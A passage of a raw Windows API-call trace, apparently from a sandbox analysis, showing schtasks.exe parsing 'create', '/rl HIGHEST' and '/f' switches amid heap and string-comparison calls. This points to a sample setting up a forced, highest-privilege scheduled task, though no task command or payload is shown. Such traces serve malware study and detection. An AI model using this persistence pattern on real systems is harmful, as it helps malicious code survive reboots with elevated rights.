lstrlenW (lpString="run") returned 3 [0157.451] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.451] lstrlenW (lpString="rl") returned 2 [0157.451] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.451] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|run|") returned 5 [0157.451] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.451] lstrlenW (lpString="|run|") returned 5 [0157.451] lstrlenW (lpString="|rl|") returned 4 [0157.452] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0157.452] SetLastError (dwErrCode=0x490) [0157.452] lstrlenW (lpString="end") returned 3 [0157.452] lstrlenW (lpString="end") returned 3 [0157.452] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.452] lstrlenW (lpString="rl") returned 2 [0157.452] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.452] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|end|") returned 5 [0157.452] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.452] lstrlenW (lpString="|end|") returned 5 [0157.452] lstrlenW (lpString="|rl|") returned 4 [0157.452] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0157.452] SetLastError (dwErrCode=0x490) [0157.452] lstrlenW (lpString="showsid") returned 7 [0157.452] lstrlenW (lpString="showsid") returned 7 [0157.452] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.452] lstrlenW (lpString="rl") returned 2 [0157.452] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.452] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|showsid|") returned 9 [0157.452] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|rl|") returned 4 [0157.452] lstrlenW (lpString="|showsid|") returned 9 [0157.452] lstrlenW (lpString="|rl|") returned 4 [0157.452] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0157.452] SetLastError (dwErrCode=0x490) [0157.452] SetLastError (dwErrCode=0x490) [0157.452] SetLastError (dwErrCode=0x0) [0157.452] lstrlenW (lpString="/rl") returned 3 [0157.452] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0157.452] SetLastError (dwErrCode=0x490) [0157.453] SetLastError (dwErrCode=0x0) [0157.453] lstrlenW (lpString="/rl") returned 3 [0157.453] GetProcessHeap () returned 0x250000 [0157.453] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c430 [0157.453] GetProcessHeap () returned 0x250000 [0157.453] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd60 [0157.453] SetLastError (dwErrCode=0x0) [0157.453] SetLastError (dwErrCode=0x0) [0157.453] lstrlenW (lpString="HIGHEST") returned 7 [0157.453] lstrlenW (lpString="-/") returned 2 [0157.453] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0157.453] SetLastError (dwErrCode=0x490) [0157.453] SetLastError (dwErrCode=0x490) [0157.453] SetLastError (dwErrCode=0x0) [0157.453] lstrlenW (lpString="HIGHEST") returned 7 [0157.453] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0157.453] SetLastError (dwErrCode=0x490) [0157.453] SetLastError (dwErrCode=0x0) [0157.453] lstrlenW (lpString="HIGHEST") returned 7 [0157.453] GetProcessHeap () returned 0x250000 [0157.453] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d500 [0157.453] GetProcessHeap () returned 0x250000 [0157.453] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd90 [0157.453] SetLastError (dwErrCode=0x0) [0157.453] SetLastError (dwErrCode=0x0) [0157.453] lstrlenW (lpString="/f") returned 2 [0157.453] lstrlenW (lpString="-/") returned 2 [0157.453] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.453] lstrlenW (lpString="?") returned 1 [0157.453] lstrlenW (lpString="?") returned 1 [0157.454] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.454] lstrlenW (lpString="f") returned 1 [0157.454] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.454] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|?|") returned 3 [0157.454] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.454] lstrlenW (lpString="|?|") returned 3 [0157.454] lstrlenW (lpString="|f|") returned 3 [0157.454] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0157.454] SetLastError (dwErrCode=0x490) [0157.454] lstrlenW (lpString="create") returned 6 [0157.454] lstrlenW (lpString="create") returned 6 [0157.454] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.454] lstrlenW (lpString="f") returned 1 [0157.454] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.454] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|create|") returned 8 [0157.454] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.454] lstrlenW (lpString="|create|") returned 8 [0157.454] lstrlenW (lpString="|f|") returned 3 [0157.454] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0157.454] SetLastError (dwErrCode=0x490) [0157.454] lstrlenW (lpString="delete") returned 6 [0157.454] lstrlenW (lpString="delete") returned 6 [0157.454] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.454] lstrlenW (lpString="f") returned 1 [0157.454] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.455] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|delete|") returned 8 [0157.455] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.455] lstrlenW (lpString="|delete|") returned 8 [0157.455] lstrlenW (lpString="|f|") returned 3 [0157.455] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0157.455] SetLastError (dwErrCode=0x490) [0157.455] lstrlenW (lpString="query") returned 5 [0157.455] lstrlenW (lpString="query") returned 5 [0157.455] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.455] lstrlenW (lpString="f") returned 1 [0157.455] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.455] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|query|") returned 7 [0157.455] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.455] lstrlenW (lpString="|query|") returned 7 [0157.455] lstrlenW (lpString="|f|") returned 3 [0157.455] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0157.455] SetLastError (dwErrCode=0x490) [0157.455] lstrlenW (lpString="change") returned 6 [0157.455] lstrlenW (lpString="change") returned 6 [0157.455] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.455] lstrlenW (lpString="f") returned 1 [0157.455] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.455] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|change|") returned 8 [0157.455] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.455] lstrlenW (lpString="|change|") returned 8 [0157.455] lstrlenW (lpString="|f|") returned 3 [0157.456] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0157.456] SetLastError (dwErrCode=0x490) [0157.456] lstrlenW (lpString="run") returned 3 [0157.456] lstrlenW (lpString="run") returned 3 [0157.456] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.456] lstrlenW (lpString="f") returned 1 [0157.456] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.456] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|run|") returned 5 [0157.456] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.456] lstrlenW (lpString="|run|") returned 5 [0157.456] lstrlenW (lpString="|f|") returned 3 [0157.456] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0157.456] SetLastError (dwErrCode=0x490) [0157.456] lstrlenW (lpString="end") returned 3 [0157.456] lstrlenW (lpString="end") returned 3 [0157.456] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.456] lstrlenW (lpString="f") returned 1 [0157.456] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.456] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|end|") returned 5 [0157.456] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.456] lstrlenW (lpString="|end|") returned 5 [0157.456] lstrlenW (lpString="|f|") returned 3 [0157.456] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0157.456] SetLastError (dwErrCode=0x490) [0157.456] lstrlenW (lpString="showsid") returned 7 [0157.457] lstrlenW (lpString="showsid") returned 7 [0157.457] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.457] lstrlenW (lpString="f") returned 1 [0157.457] _memicmp (_Buf1=0x26c220, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.457] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|showsid|") returned 9 [0157.457] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f478 | out: _Buffer="|f|") returned 3 [0157.457] lstrlenW (lpString="|showsid|") returned 9 [0157.457] lstrlenW (lpString="|f|") returned 3 [0157.457] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0157.457] SetLastError (dwErrCode=0x490) [0157.457] SetLastError (dwErrCode=0x490) [0157.457] SetLastError (dwErrCode=0x0) [0157.457] lstrlenW (lpString="/f") returned 2 [0157.457] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0157.457] SetLastError (dwErrCode=0x490) [0157.457] SetLastError (dwErrCode=0x0) [0157.457] lstrlenW (lpString="/f") returned 2 [0157.457] GetProcessHeap () returned 0x250000 [0157.457] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26dcd0 [0157.457] GetProcessHeap () returned 0x250000 [0157.457] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cdc0 [0157.457] SetLastError (dwErrCode=0x0) [0157.457] GetProcessHeap () returned 0x250000 [0157.457] GetProcessHeap () returned 0x250000 [0157.457] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c200) returned 1 [0157.457] GetProcessHeap () returned 0x250000 [0157.457] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c200) returned 0x8 [0157.458] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c200 | out: hHeap=0x250000) returned 1 [0157.458] GetProcessHeap () returned 0x250000 [0157.458] GetProcessHeap () returned 0x250000 [0157.458] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc10) returned 1 [0157.458] GetProcessHeap () returned 0x250000 [0157.458] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc10) returned 0x20 [0157.458] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc10 | out: hHeap=0x250000) returned 1 [0157.458] GetProcessHeap () returned 0x250000 [0157.458] GetProcessHeap () returned 0x250000 [0157.459] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40) returned 1 [0157.459] GetProcessHeap () returned 0x250000 [0157.459] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc40) returned 0x20 [0157.459] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40 | out: hHeap=0x250000) returned 1 [0157.459] GetProcessHeap () returned 0x250000 [0157.459] GetProcessHeap () returned 0x250000 [0157.459] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70) returned 1 [0157.459] GetProcessHeap () returned 0x250000 [0157.460] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc70) returned 0x20 [0157.460] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70 | out: hHeap=0x250000) returned 1 [0157.460] GetProcessHeap () returned 0x250000 [0157.460] GetProcessHeap () returned 0x250000 [0157.460] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290) returned 1 [0157.460] GetProcessHeap () returned 0x250000 [0157.460] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c290) returned 0x8 [0157.460] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290 | out: hHeap=0x250000) returned 1 [0157.460] GetProcessHeap () returned 0x250000 [0157.460] GetProcessHeap () returned 0x250000 [0157.460] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0) returned 1 [0157.460] GetProcessHeap () returned 0x250000 [0157.460] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cca0) returned 0x20 [0157.461] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0 | out: hHeap=0x250000) returned 1 [0157.461] GetProcessHeap () returned 0x250000 [0157.461] GetProcessHeap () returned 0x250000 [0157.461] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0) returned 1 [0157.461] GetProcessHeap () returned 0x250000 [0157.461] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2b0) returned 0x10 [0157.461] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0 | out: hHeap=0x250000) returned 1 [0157.461] GetProcessHeap () returned 0x250000 [0157.461] GetProcessHeap () returned 0x250000 [0157.461] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0) returned 1 [0157.461] GetProcessHeap () returned 0x250000 [0157.461] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccd0) returned 0x20 [0157.461] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0 | out: hHeap=0x250000) returned 1 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2d0) returned 1 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2d0) returned 0x8 [0157.462] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2d0 | out: hHeap=0x250000) returned 1 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00) returned 1 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd00) returned 0x20 [0157.462] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00 | out: hHeap=0x250000) returned 1 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3c0) returned 1 [0157.462] GetProcessHeap () returned 0x250000 [0157.462] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c3c0) returned 0x64 [0157.463] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c3c0 | out: hHeap=0x250000) returned 1 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30) returned 1 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd30) returned 0x20 [0157.463] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30 | out: hHeap=0x250000) returned 1 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c430) returned 1 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c430) returned 0x8 [0157.463] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c430 | out: hHeap=0x250000) returned 1 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60) returned 1 [0157.463] GetProcessHeap () returned 0x250000 [0157.463] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd60) returned 0x20 [0157.464] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60 | out: hHeap=0x250000) returned 1 [0157.464] GetProcessHeap () returned 0x250000 [0157.464] GetProcessHeap () returned 0x250000 [0157.464] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d500) returned 1 [0157.464] GetProcessHeap () returned 0x250000 [0157.464] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d500) returned 0x10 [0157.464] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d500 | out: hHeap=0x250000) returned 1 [0157.464] GetProcessHeap () returned 0x250000 [0157.464] GetProcessHeap () returned 0x250000 [0157.464] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90) returned 1 [0157.464] GetProcessHeap () returned 0x250000 [0157.464] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd90) returned 0x20 [0157.465] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90 | out: hHeap=0x250000) returned 1 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dcd0) returned 1 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dcd0) returned 0x6 [0157.465] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dcd0 | out: hHeap=0x250000) returned 1 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdc0) returned 1 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cdc0) returned 0x20 [0157.465] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdc0 | out: hHeap=0x250000) returned 1 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9d0) returned 1 [0157.465] GetProcessHeap () returned 0x250000 [0157.465] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b9d0) returned 0x18 [0157.465] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9d0 | out: hHeap=0x250000) returned 1 [0157.466] SetLastError (dwErrCode=0x0) [0157.466] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0157.466] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0157.466] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0157.466] VerifyVersionInfoW (in: lpVersionInformation=0x13c4d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c4d0) returned 1 [0157.466] SetLastError (dwErrCode=0x0) [0157.466] lstrlenW (lpString="create") returned 6 [0157.466] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0157.466] SetLastError (dwErrCode=0x490) [0157.466] SetLastError (dwErrCode=0x0) [0157.466] lstrlenW (lpString="create") returned 6 [0157.466] GetProcessHeap () returned 0x250000 [0157.466] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cdc0 [0157.466] GetProcessHeap () returned 0x250000 [0157.466] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d500 [0157.466] _memicmp (_Buf1=0x26d500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.466] GetProcessHeap () returned 0x250000 [0157.466] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d520 [0157.466] SetLastError (dwErrCode=0x0) [0157.467] _memicmp (_Buf1=0x26ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.467] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0157.467] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0157.467] GetProcessHeap () returned 0x250000 [0157.467] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26dcd0 [0157.467] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26dcd0 | out: lpData=0x26dcd0) returned 1 [0157.468] VerQueryValueW (in: pBlock=0x26dcd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c5b8, puLen=0x13c620 | out: lplpBuffer=0x13c5b8*=0x26e06c, puLen=0x13c620) returned 1 [0157.468] _memicmp (_Buf1=0x26ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.468] _vsnwprintf (in: _Buffer=0x26bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c598 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0157.468] VerQueryValueW (in: pBlock=0x26dcd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c628, puLen=0x13c618 | out: lplpBuffer=0x13c628*=0x26de98, puLen=0x13c618) returned 1 [0157.468] lstrlenW (lpString="schtasks.exe") returned 12 [0157.468] lstrlenW (lpString="schtasks.exe") returned 12 [0157.468] lstrlenW (lpString=".EXE") returned 4 [0157.468] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0157.468] lstrlenW (lpString="schtasks.exe") returned 12 [0157.468] lstrlenW (lpString=".EXE") returned 4 [0157.468] lstrlenW (lpString="schtasks") returned 8 [0157.468] lstrlenW (lpString="/create") returned 7 [0157.468] _memicmp (_Buf1=0x26ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.468] _vsnwprintf (in: _Buffer=0x26bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c598 | out: _Buffer="schtasks /create") returned 16 [0157.468] _memicmp (_Buf1=0x26bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.468] GetProcessHeap () returned 0x250000 [0157.468] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd90 [0157.468] _memicmp (_Buf1=0x26bad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.468] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0157.469] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0157.469] GetProcessHeap () returned 0x250000 [0157.469] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267ac0 [0157.469] _vsnwprintf (in: _Buffer=0x26c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c598 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0157.469] GetProcessHeap () returned 0x250000 [0157.469] GetProcessHeap () returned 0x250000 [0157.469] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dcd0) returned 1 [0157.469] GetProcessHeap () returned 0x250000 [0157.469] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dcd0) returned 0x74e [0157.469] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dcd0 | out: hHeap=0x250000) returned 1 [0157.469] SetLastError (dwErrCode=0x0) [0157.469] GetThreadLocale () returned 0x409 [0157.469] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.469] lstrlenW (lpString="create") returned 6 [0157.469] GetThreadLocale () returned 0x409 [0157.469] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.469] lstrlenW (lpString="?") returned 1 [0157.469] GetThreadLocale () returned 0x409 [0157.469] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="s") returned 1 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="u") returned 1 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="p") returned 1 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="ru") returned 2 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="rp") returned 2 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="sc") returned 2 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="mo") returned 2 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW (lpString="d") returned 1 [0157.470] GetThreadLocale () returned 0x409 [0157.470] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.470] lstrlenW 